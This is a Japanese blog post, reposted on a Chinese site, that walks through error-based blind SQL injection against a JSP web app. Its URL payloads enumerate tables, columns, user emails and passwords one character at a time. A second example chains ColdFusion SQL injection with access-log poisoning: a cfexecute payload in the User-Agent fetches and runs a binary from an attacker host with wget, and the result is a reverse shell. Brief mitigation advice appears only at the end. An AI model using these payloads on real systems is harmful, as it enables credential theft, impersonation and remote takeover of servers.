JSP SQL injectionの小技

简介:
信息来源:ESG JP

SQL injectionがあるのは判断できるけどエラーがハンドリングされてて 
エラーメッセージとかから情報がひっぱれず、どうやってもUNIONで 
別のSELECTが繋げられないとか、繋げられてもSELECTの直接の結果自体は 
画面に表示されない場合なんぞに。 

// 考え方 
演算子「=」等の単一行条件で項目の値を比較する際に、一方が副問合せである場合、 
その副問合わせは2つ以上の行を返してはならない。 

例えば、 

WHERE ~ AAA = ユーザ入力 
であった場合、 

WHERE ~ AAA = (2つ以上の結果を返すサブSELECT) 

を書くとエラーになる。 
Oracleなら、ORA-01427(うろおぼえですが。わら) 
ここで、 

WHERE ~ AAA = (SELECT max(0) FROM TABLE1 UNION ALL SELECT 0 FROM TABLE2 WHERE 条件式) 

の様なサブSELECTを書くと、条件式にヒットする項目があった場合エラーとなり 
なければ正常終了する。 

// LIKE句は便利ですな 
入力項目「q」にSQL injection問題があるwebアプリhoge.jspを想定する。 

~ WHERE (~ AAA = 'qへの入力値' ~) 
AAAは文字列型 

各種項目の値の確定にはLIKE句のあいまい検索機能を利用する。 
「%」でざっくり調べたり「_」で文字数を確定したり特定の位置の文字を確定したり。 

とりあえずユーザ情報を狙いたいので「USER」とかにあたりをつけてから始める。 

// テーブル名検索 
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25[/url] '))-- 
--> エラー : xxxxUSERxxxx(xxxxは任意の文字列)と言うテーブルが存在する 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25[/url] '))-- 
--> エラー : USERxxxx(xxxxは任意の文字列)と言うテーブルが存在する 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...;USER_[/url] '))-- 
--> 正常 : USERx(xは任意の文字)と言うテーブルは存在しない 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...USER__[/url] '))-- 
--> 正常 : USERxx(xは任意の文字)と言うテーブルは存在しない 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER___[/url] '))-- 
--> 正常 : USERxxx(xは任意の文字)と言うテーブルは存在しない 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ER____[/url] '))-- 
--> エラー : USERxxxx(xは任意の文字)と言うテーブルが存在する : 文字数確定 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERA___[/url] '))-- 
--> 正常 : USERAxxx(xは任意の文字)と言うテーブルは存在しない 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERB___[/url] '))-- 
--> 正常 : USERBxxx(xは任意の文字)と言うテーブルは存在しない 

... 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERI___[/url] '))-- 
--> エラー : USERIxxx(xは任意の文字)と言うテーブルが存在する 

... 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO[/url] '))-- 
--> エラー : USERINFOと言うテーブルが存在する 
当然↓も、 
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO[/url] '))-- 
エラーになる 

ここでは単純にLIKE句で探していったけど、対象文字列を一文字ずつsubstr()かなんかで 
切り出して、それぞれの値はバイナリサーチで確定するのも多分有効だと思う。 

次にテーブル内のカラム名を調べる。 
上と同じく、NAMEとかIDとかPASSとかMAILとかにあたりをつけて 

// カラム名検索 
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...AME%25[/url] '))-- 
--> エラー : テーブル「USERINFO」にはxxxxNAMExxxx(xxxxは任意の文字列)と言うカラムが存在する 

以下手順はまったく同じ。 

最終的に↓みたいなのが作成できる。 
-------------------- 
USERINFO 
EMAIL 
PASSWORD 
NAME 
ADDR 
TEL 
SEX 
... 
-------------------- 

ここで、何らかの認証機能がメールアドレスとパスワードで認証しているとすると、 
メールアドレスとパスワードをひっぱれば成りすませるかもー 

と言うわけで、とりあえず誰かのメールアドレスを確定する。 

// メールアドレス検索 
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#....ne.jp[/url] '))-- 
--> エラー : 
[email]xxxx@fugafuga.ne.jp[/email] (xxxxは任意の文字列)と言うメールアドレスを持つユーザが存在する 

以下同文。 

成りすましたいユーザが居てメールアドレスがわかってる場合なんかはこのステップは飛ばしてもOK。 
(もちろんそのメールアドレスが登録されているかの確認は必要) 

最後にパスワード。 

// パスワード検索 
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...[/url] '_'))-- 
--> 正常 : パスワードは1文字じゃなかった 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...#39;__[/url] '))-- 
--> 正常 : パスワードは2文字じゃなかった 

... 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url] '))-- 
--> エラー : パスワードは8文字 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url] '))-- 
--> 正常 : パスワードは8文字、Aでは始まらない 

... 

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url] '))-- 
--> エラー : パスワードは8文字、Pで始まる 

以下同文。 

なお、メールアドレスとパスワードの検索順番は逆にして、 
しょぼいパスワードを設定してるユーザのメールアドレスは・・・、 
みたいに探していってもOK。 
別にルールはありません。 

リアル攻撃者の方の場合は、上記のような手順を手動でやるのはめんどくさいと思うんで 
自動化したツールを作って回すのが結果的に時間の短縮になって嬉しいでしょう。わら 

なお上記の例は上にも書いたように、 

~ WHERE ~ AAA = 'ユーザ入力' ~ 
AAAは文字列型 

みたいなのを想定していましたが、 

~ WHERE ~ BBB = ユーザ入力 ~ 
BBBは数値型 

みたいな場合は、いきなり()で囲ってサブSELECT書いてもOK。 

基本的に、この方式はチェック機能が()内で完結しているので、 
特に、ユーザ入力が入る位置がゴリゴリにネストしたサブSELECTのWHERE句だったりして 
元のSELECT文がどんな形かはっきり判らない場合なんかに便利。 
また、ユーザ入力がテーブル名やSELECTするカラム名として使われてる場合なんかにも 
使えなくも無いんではないかと思います。やったこと無いけど。わら 
#これは使用しているDBがインラインビューやスカラー副問い合わせをサポートしてて、 
#エラーにならなかった場合に返す値を考えなきゃダメですが 

また、上のはDBがOracleの場合を想定していますがテーブルやカラム情報をSELECTで 
ひっぱれるなら何でも同じです。 
逆に、それらへのアクセス権が適切に設定されているならこの手法は使えません。 
なので、アプリにSQL injection組み込んじゃったときのフェイルセーフとして 
設定しておくのをお勧めします。 
ただし、テーブル名やカラム名が判っている場合には個々のカラムの値を確定 
(上の例で言うとメールアドレス検索以降)するのは防げません。 
そういう場合へのフェイルセーフとして、DBの中身を暗号化とか一方向ハッシュ化 
するのもお勧めです。 
もちろん、これらはあくまでもフェイルセーフであって、 
アプリ側でのサニタイズが基本ですヽ(´ー`)ノ 
----------------------------------------------------------------------------- 


// 上のとはあんまり関係ないけどちょっと面白かった実例 
----------------------------------------------------------------------------- 
webアプリhoge.cfmではColdFusionのcfincludeタグの入力がDBからの出力の様でした。 
また、入力項目idにはSQL injection問題が存在していました。 
あれこれごちゃごちゃやった結果、 

[url]http://www.somecompany.co.jp/hoge.cfm?id=hoge[/url]  

と入れると、 

SELECT 何か,ファイル名,何か,何か,何か FROM SOMETABLE WHERE ID='hoge' 

みたいな感じのSQLが組み立てられていると推測できました。 
なので例えば、 

// /etc/passwdを読む 
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]  

みたいな事が可能でした。 
ここで、cfincludeタグは読み込んだファイルをColdFusionのアプリとしてパース/実行するのに注目し、 

まず、httpd.confを読んで、 

[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]  

httpd.confの内容を確認し、 
--------------------------------------------------------------- 
--- snip --- 
LogFormat "%h %l %u %t \"%r\" %>s %b \"%i\" \"%i\"" combined 
--- snip --- 
<VirtualHost XXX.XXX.XXX.XXX> 
ServerName somecompany.co.jp 
ServerAdmin 
[email]admin@somecompany.co.jp[/email]  
DocumentRoot /usr/local/apache/htdocs/hogehoge 
ErrorLog logs/hogehoge_error_log 
CustomLog logs/hogehoge_access_log combined 
</VirtualHost> 
--- snip --- 
--------------------------------------------------------------- 

ColdFusionコマンド実行タグを作成し、 
[url]http://attacker.mydomain.co.jp:25/fuga1[/url] をダウンロードして実行するもの。 
webでColdFusionのマニュアル斜め読みして作成) 
--------------------------------------------------------------- 
<cfset myArray=ArrayNew(1)> 
<cfset myArray[1]='-O'> 
<cfset myArray[2]='/tmp/fuga1'> 
<cfset myArray[3]='
[url]http://attacker.mydomain.co.jp:25/fuga1[/url] '> 
<cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute> 
<cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute> 
<cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute> 
--------------------------------------------------------------- 

ログ残しのためにアクセスして、 
--------------------------------------------------------------- 
GET / HTTP/1.0 
Host: somecompany.co.jp 
User-Agent: <cfset myArray=ArrayNew(1)><cfset myArray[1]='-O'><cfset myArray[2]='/tmp/fuga1'><cfset myArray[3]='
[url]http://attacker.mydomain.co.jp:25/fuga1[/url] '><cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute><cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute><cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute> 

--------------------------------------------------------------- 

そのアクセスログを読み込ませるとさっき書いたタグが動作します。 
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]  

実行結果は以下で取得できます。 
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]  

実際には、APPサーバとの親子関係を切ってから攻撃元サーバの25に 
リバースコネクト形式で繋いでシェルを動かすプログラムを作ってfuga1として 
送り込んだらインタラクティブなシェル環境を確保できました。 
この例はたまたまColdFusionでしたが、状況が同じならPHPとかJSPでも 
同じような事が可能だと思います。 

ログは書いてるモノだけど書き込まれてるモノでもありますよ、と言うお話でしたヽ(´ー`)ノ 
----------------------------------------------------------------------------- 

おわりヽ(´ー`)ノ














本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/8529 ,如需转载请自行联系原作者



相关文章
|
6月前
|
SQL Java 数据库连接
JSP商品进出库管理系统myeclipse开发sql数据库bs框架java编程jdbc
JSP 商品进出库管理系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为SQLSERVER2008,使用java语言开发,系统主要采用B/S模式开发。
51 0
|
6月前
|
SQL Java 数据库连接
JSP婚纱影楼管理系统myeclipse开发sql数据库bs框架java编程jdbc
JSP 婚纱影楼管理系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为SQLSERVER2008,使用java语言开发,系统主要采用B/S模式开发。
51 0
|
6月前
|
SQL Java 数据库
JSP毕业设计宣传网站系统myeclipse开发sql数据库BS模式java编程网页结构
JSP 毕业设计宣传网站系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 二、功能介绍
33 0
|
6月前
|
SQL 前端开发 Java
JSP毕业设计选题系统统myeclipse开发sql数据库BS模式java编程mvc结构
JSP 毕业设计选题系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。
28 0
|
6月前
|
SQL Java BI
JSP超市销售管理统myeclipse开发sql数据库BS模式java编程网页结构
JSP 超市销售管理系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为SQLSERVER2008,使用java语言开发
25 0
|
6月前
|
SQL Java 数据库连接
JSP网上相亲交友系统myeclipse开发sql数据库bs框架java编程jdbc
JSP 网上相亲交友系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为sqlserver2008,使用java语言开发,系统主要采用B/S模式开发。
69 0
|
3月前
|
测试技术 数据库 数据安全/隐私保护
JavaWeb+JSP+SQL server学生学籍管理系统设计与实现(源代码+论文+开题报告+外文翻译+答辩PPT)
JavaWeb+JSP+SQL server学生学籍管理系统设计与实现(源代码+论文+开题报告+外文翻译+答辩PPT)
102 0
|
6月前
|
SQL Java 数据库连接
JSP大学生家教信息服务系统myeclipse开发sql数据库bs框架java编程jdbc
JSP 大学生家教信息服务系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为SQLSERVER2008,使用java语言开发,系统主要采用B/S模式开发。
63 0
|
6月前
|
SQL Java 数据库
JSP工艺品展示与销售网站myeclipse开发sql数据库BS模式java编程
JSP工艺品展示与销售网站是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语,言开发系统主要采用B/S模式开发。
40 0
|
6月前
|
SQL Java 数据库
JSP公文管理系统myeclipse开发sql数据库BS模式java编程
JSP 公文管理系统是一套完善的web设计系统,对理解JSP java编程开发语言有帮助,系统具有完整的源代码和数据库,开发环境为TOMCAT7.0,Myeclipse8.5开发,数据库为Mysql5.0,使用java语言开发,系统主要采用B/S模式开发。
39 0